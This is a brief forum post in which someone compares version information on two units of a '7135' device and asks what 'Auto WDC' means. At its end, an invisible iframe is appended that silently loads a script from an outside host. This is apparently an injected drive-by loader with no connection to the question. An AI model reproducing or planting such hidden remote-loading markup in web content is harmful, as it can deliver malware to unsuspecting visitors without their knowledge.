I have a second 7135 and only noted one difference when reviewing the version information. Under "Auto WDC" the original 7135 said "Auto WDC: Al000" and the new 7135 says "Auto WDC: no info". Since I have no idea what "Auto WDC" means, I have no idea whether this difference is significant. Anyone have any thoughts?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>